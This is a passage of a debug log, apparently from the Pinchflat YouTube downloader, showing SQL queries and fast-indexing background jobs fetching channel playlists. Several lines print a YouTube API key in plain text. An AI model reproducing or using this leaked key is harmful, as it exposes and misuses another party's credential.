s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:14.422 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:14.422 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:14.504 [debug] QUERY OK source="media_items" db=0.6ms idle=82.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 18:07:14.505 [debug] QUERY OK source="media_items" db=0.3ms idle=83.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 18:07:14.506 [debug] QUERY OK source="tasks" db=0.1ms idle=83.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800368, 24, ~U[2026-02-11 00:07:14Z], ~U[2026-02-11 00:07:14Z]] 18:07:14.506 [info] {"args":{"id":24},"id":3800329,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":85502,"event":"job:stop","queue_time":581911,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:14.632 [debug] QUERY OK source="media_items" db=0.6ms idle=125.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 18:07:14.633 [debug] QUERY OK source="media_items" db=0.4ms idle=126.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 18:07:14.634 [debug] QUERY OK source="tasks" db=0.1ms idle=121.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800369, 4, ~U[2026-02-11 00:07:14Z], ~U[2026-02-11 00:07:14Z]] 18:07:14.634 [info] {"args":{"id":4},"id":3800330,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":213408,"event":"job:stop","queue_time":404467,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:15.422 [info] {"args":{"id":26},"id":3800331,"meta":{},"system_time":1770768435422817201,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:15.423 [debug] QUERY OK source="sources" db=0.1ms idle=788.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 18:07:15.423 [debug] QUERY OK source="settings" db=0.1ms idle=788.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:15.423 [debug] QUERY OK source="media_profiles" db=0.0ms idle=782.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:15.423 [debug] QUERY OK source="settings" db=0.0ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:15.423 [debug] Fetching recent media IDs from YouTube API for playlist: UUK_8UoKJNYcQE9OdW5v-Ueg 18:07:15.424 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:15.424 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:15.554 [debug] QUERY OK source="media_items" db=0.6ms idle=130.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [26, "VdWHQYgG_jo", "6LzK3lEKkGE", "JJ_mw6lB3JU", "ZcmJFcMBm9w", "dlFQrYB5wKw", "nPbCi4t4NkA", "8asBU46CygQ", "yQArIsKTw5U", "1x2IhzNuxm4", "nxjWJIgvoOQ", "nlgL1IJXtoU", "lxxWezu1R48", "cQAPX3Qmbbw", "Qx4mqyQgZRE", "A8UXgQagHGE", "-XokzL0OQu0", "1hNouH7bBf4", "qZKBr-uzWXE", "tCG0_ctAGuw", "dJpTLJa07R0", "06xaEhog2jc", "xCly46rmt_E", "fgvCSP_Uieo", "Y-Glc4AfUu8", "WhrVgN8MHvE", "wdeJMY-yjxY", "ewCRfp9isyQ", "TC69Hts9xUw", "QD10PkEFM8w", "EDTL7eqicgk", "TN9ynzCtxH0", "PIm8vxiuo80", "d5wK7sqUPME", "g52_h5ba7AI", "eCXvteo9yPM", "LffHwB95-nc", "d5EbHE-E_30", "ISfcCtkM9Eg", "waruccu-7dk", "rp5VlotPNVY", "rfDYEpo49MM", "u7g9F323AaU", "oLw4zWP1x5g", "WWUoR1s8tqY", "1yRMUHRkPmg", "8o1haKR8l3U", "10e4_tNBP6M", "vnnhy_10FBA", "GQrTQ862rvU", ...] 18:07:15.555 [debug] QUERY OK source="media_items" db=0.5ms idle=131.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [26] 18:07:15.556 [debug] QUERY OK source="tasks" db=0.1ms idle=132.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800370, 26, ~U[2026-02-11 00:07:15Z], ~U[2026-02-11 00:07:15Z]] 18:07:15.556 [info] {"args":{"id":26},"id":3800331,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":133584,"event":"job:stop","queue_time":562962,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:16.423 [info] {"args":{"id":18},"id":3800332,"meta":{},"system_time":1770768436423746895,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:16.423 [info] {"args":{"id":39},"id":3800333,"meta":{},"system_time":1770768436423788622,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:16.424 [debug] QUERY OK source="sources" db=0.1ms idle=867.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [39] 18:07:16.424 [debug] QUERY OK source="sources" db=0.2ms idle=867.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [18] 18:07:16.424 [debug] QUERY OK source="settings" db=0.1ms idle=861.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:16.424 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:16.424 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:16.424 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:16.424 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:16.424 [debug] Fetching recent media IDs from YouTube API for playlist: UUEbFX3P9ADiJvle5Z0Qyw2A 18:07:16.424 [debug] QUERY OK source="settings" db=0.1ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:16.424 [debug] Fetching recent media IDs from YouTube API for playlist: UUQ5w3fSomzziZfO7neK7eAg 18:07:16.424 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:16.424 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:16.425 [debug] QUERY OK source="settings" db=0.0ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:16.425 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 18:07:16.531 [debug] QUERY OK source="media_items" db=0.7ms idle=105.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [39, "oWwW7c73VEU", "Mlkedoq9Jc0", "CyROrlgXuxM", "DNFVUUSirec", "CBm031TNOBI", "pqsDSom58mA", "K4l-Iq7cUy0", "G5FmHkhNll0", "jcXhbGr4UXE", "CHXnJ2dqdeQ", "6mMkOOd85iY", "BzzBe1O4Sr0", "jpaUrDMW-xg", "CQhT2bZk-5w", "16WDLl-9svE", "0sw-9LcNYuU", "Gb2WMmJdg-0", "6IvRdRMfckI", "uK7duSgRTg4", "a5MZNJQdWMs", "0aIc4DK4KJU", "qoqprEJXUho", "Q31kdjWuJk0", "Oi3cII72g_Q", "EWUx-l6V8LY", "3ltZPDlAzjU", "0Y4qlkciOcs", "_EXBwKthvpU", "Wh33yQMl1E4", "Zmm4cH8rdbo", "udwdvn4CkUM", "gVmYPFscC9s", "siDrI-MD-LA", "xoqZcColJJQ", "_g7eG4Ax5RE", "tTnZ7eisAJI", "6Pxhj3El-5w", "YEcpFV6RELU", "x2L4YTdsD2o", "qIZd11xXCfQ", "Qkmowfr8czQ", "t86uzOhx8sw", "dhct918lLaM", "-3cN37P8DME", "aMBWoX-RTlU", "cFPi6Ya4QPE", "CzGfMeo8Toc", "qXaUPK6ZLpc", "18QTNVOpQ54", ...] 18:07:16.532 [debug] QUERY OK source="media_items" db=0.3ms idle=107.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [39] 18:07:16.533 [debug] QUERY OK source="tasks" db=0.1ms idle=108.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800371, 39, ~U[2026-02-11 00:07:16Z], ~U[2026-02-11 00:07:16Z]] 18:07:16.533 [info] {"args":{"id":39},"id":3800333,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":109620,"event":"job:stop","queue_time":309215,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:16.539 [info] {"args":{"id":3},"id":3800334,"meta":{},"system_time":1770768436539647930,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:07:16.539 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:07:16.540 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:16.540 [debug] QUERY OK source="media_profiles" db=0.0ms idle=6.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:07:16.540 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:07:16.540 [debug] Fetching recent media IDs from YouTube API for playlist: UUy0tKL1T7wFoYcxCe0xjN6Q 18:07:16.540 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", 